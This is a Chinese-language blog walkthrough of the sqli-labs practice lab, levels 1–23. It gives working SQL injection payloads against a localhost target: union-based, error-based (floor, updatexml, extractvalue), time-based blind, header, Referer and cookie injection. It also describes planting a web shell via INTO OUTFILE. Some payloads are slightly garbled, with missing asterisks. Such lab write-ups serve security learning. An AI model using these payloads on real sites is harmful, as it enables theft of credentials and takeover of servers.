
SQL注入之sqli-labs学习
第一关
经过语句and 1=2测试,页面返回正常,所以不是数值型注入。
在id后面加上’,页面返回不正常,所以可能存在单引号注入。
使用–+将sql后面的语句注释掉后,页面返回正常,说明存在单引号字符型注入。
使用order by语句判断该表中有几列数据。
order by 3页面回显正常,order by 4页面回显不正常,说明该表有3列数据。
但是发现并没有显示位。
将id=1改为数据库不存在的值,如999,页面输出2和3,说明有2个显示位。
http://localhost/sqli-labs-master/Less-1/?id=999' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 –+
查询数据库名信息。
或者http://localhost/sqli-labs-master/Less-1/?id=999' union select 1,(select database()),3 –+也能查询数据库。
http://localhost/sqli-labs-master/Less-1/?id=999' union select 1,(select database()),(select group_concat(table_name) from information_schema.tables where table_schema=”security”) –+查询security数据库的表名。
http://localhost/sqli-labs-master/Less-1/?id=999' union select 1,(select database()),(select group_concat(column_name) from information_schema.columns where table_name=”users”) –+查询users表中的列名。
http://localhost/sqli-labs-master/Less-1/?id=999' union select 1,(select database()),(select group_concat(password) from users) –+查询password列名中的信息。
第二关
输入id=2-1页面发生变化,说明存在数值型注入。
order by 3页面正常,order by 4页面不正常,所以有3列数据。
然后使用联合查询进行注入,参考第一关的注入。
第三关
输入?id=1’ –+页面不正常。
输入?id=1’) –+页面正常
正如所测试的是以(‘’)方式闭合字符串。
第四关
?id=1” –+不正常,?id=1”) –+正常,说明是以(“”)的闭合方式。
然后参考第一关进行联合语句注入。
第五关
没有显示位,不能使用联合注入。
用?id=1’出现错误语句,所以我们能用一个新的注入方法:报错注入。
(1). 通过floor报错
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效。
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
这里使用floor报错语句进行注入
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(),concat((select schema_name from information_schema.schemata limit 6,1),floor (rand(0)*2))x from information_schema.tables group by x)a)–+查出数据库security。
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(),concat((select table_name from information_schema.tables where table_schema=”security” limit 3,1),floor (rand(0)2))x from information_schema.tables group by x)a)–+查出表名users。
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(),concat((select column_name from information_schema.columns where table_name=”users” limit 2,1),floor (rand(0)2))x from information_schema.tables group by x)a)–+查出列名password。
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(),concat((select password from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)–+查出password中的信息。
第六关
用?id=1”出现错误语句,所以参考第五关的报错注入对该题进行注入。
第七关
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
使用?id=1’))页面返回正常,说明是((‘’))方式闭合字符串。
本关卡提示我们使用file权限向服务器写入文件,所以尝试写入数据到自定义目录下。
数据写入成功。
于是向自定义的目录下写入一句话木马。
访问写入的文件,从而上传一句话木马。
用菜刀或蚁剑连接。
第八关
使用?id=1’ –+页面恢复正常。
参考第七关尝试写入数据成功,然后上传木马连接。
第九关
发现无论输入什么页面都没有变化。
使用?id=1’ and sleep(5) –+页面出现明显延迟,说明本关卡是时间盲注。
通过页面的延迟猜出数据库是8个字符。
逐个字符猜测得到数据库为security。
通过类似操作猜出表名users。
进而猜出列名password。
进而猜出password中的信息。
第十关
同样是时间盲注,只不过是双引号注入。注入过程参考第九关。
第十一关
从第十一关开始使用post的方式来提交数据
使用万能密码以及order by测试出有两个显示位。
然后使用联合注入依次查出数据库,表名,列名,列中的信息。
第十二关
经过测试发现本关是(“”)的字符闭合方式。
然后参考第十一关对本关进行联合注入。
第十三关
经过测试发现本关是以(‘’)字符的闭合方式,但是本题没有显示位,但是会有报错语句,所以使用报错注入的方法进行注入。
通过报错注入获得数据库,表名,列名,列中的信息。
第十四关
经过测试发现本关是以双引号字符的闭合方式,但是本题没有报错语句,所以使用时间盲注的方法进行注入。
使用admin” and if(length(database())=8,sleep(5),0)#猜测出数据库的长度。
使用admin” and if(left(database(),8)=”security”,sleep(5),0)#猜测出数据库名为security。
使用admin” and if(left((select table_name from information_schema.tables where table_schema=”security” limit 3,1),5)=”users”,sleep(5),0)#猜出表名为users。
使用admin” and if(left((select column_name from information_schema.columns where table_name=”users” limit 2,1),8)=”password”,sleep(5),0)#猜出列名为password。
使用admin” and if(left((select password from users limit 0,1),4)=”dumb”,sleep(5),0)#猜出password中的信息。
第十五关
测试发现是单引号字符的闭合方式,一样的没有报错语句和显示位,参考第十四关使用时间盲注进行注入。
第十六关
本关采用(“”)的闭合方式,无显示位和报错语句,参考十四关采用时间盲注进行注入。
第十七关
用户名使用check_input()对 username 进行各种转义的处理,所以本关不能对用户名进行注入,但能对密码进行注入,没有显示位但是有错误信息,所以使用报错注入。
参考:https://blog.csdn.net/Kevinhanser/article/details/81519279
使用报错注入依次获得数据库,表名,列名,以及列名中的信息。
第十八关
打开发现显示了IP地址,百度后发现,本关是header头注入,修改http头的User-Agent参数。
查看源码发现。本关对用户名和密码都进行了各种转义的处理,所以都不能注入。并且发现了insert语句,他把user-agent插入到了数据库。
需要登录成功后才能注入。
修改user-agent的值使其符合整个insert into的语句,闭合后应该为indert into table values(‘1’,1,1)#’,’IP’,’Username’),成功绕过。
接着使用报错注入获得数据库名security。
继续获得表名users。
获得列名password。
获得列名中的信息。
参考:https://www.cnblogs.com/AmoBlogs/p/8677729.html
第十九关
和第十八关类似,只不过本关是将referer插入数据库。
修改referer的值使其符合整个insert into的语句,闭合后应该为indert into table values(‘1’,1)#’,’IP’),成功绕过。
然后参考第十八进行报错注入。
第二十关
题目给了cookie:uname=admin所以这题应该是cookie注入。
然后参考第十八关进行报错注入。
第二十一关
查看源代码发现本关是将cookie的内容base64解密后再运行,而且cookie是以(‘’)的字符闭合方式。
构造payload:admin’) and updatexml(1,concat(0x7e,database(),0x7e),1)#base64加密后通过报错注入获得数据库名。
构造payload:admin’) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=”security” limit 3,1),0x7e),1)#base64加密后获得表名。
构造payload:admin’) and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=”users” limit 2,1),0x7e),1)#base64加密后获得列名。
构造payload:admin’) and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#base64加密后获得密码。
第二十二关
通过查看源代码发现cookie是以双引号字符的闭合方式,和第二十一关一样是base64解密后再执。所以参考第二十一关进行报错注入,构造的payload为admin” and updatexml(1,payload,1)。
第二十三关
查看源代码发现注释符#和–被过滤掉了。
发现sql语句。
不能使用注释符,所以构造payload:?id=999’ union select 1,2,3 ‘将单引号闭合。
接着使用联合注入进行注入。
第二十四关
本文链接:https://devildragons.github.io/2020/07/06/sqli-labs/